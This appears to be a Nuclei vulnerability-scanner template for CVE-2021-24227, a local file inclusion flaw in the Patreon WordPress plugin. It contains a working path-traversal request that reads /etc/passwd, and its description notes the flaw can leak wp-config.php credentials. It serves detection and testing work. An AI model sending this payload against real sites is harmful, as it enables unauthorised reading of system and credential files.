id: CVE-2021-24227

info:
  name: Patreon WordPress  <1.7.0 - Unauthenticated Local File Inclusion
  author: theamanrawat
  severity: high
  description: Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.
  reference:
    - https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016
    - https://wordpress.org/plugins/patreon-connect/
    - https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24227
    cwe-id: CWE-200
    cpe: cpe:2.3:a:patreon:patreon_wordpress:*:*:*:*:*:*:*:*
    epss-score: 0.07007
  tags: wordpress,patreon-connect,unauth,cve2021,lfi,patreon,wp,wpscan,cve
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

# Enhanced by mp on 2023/01/15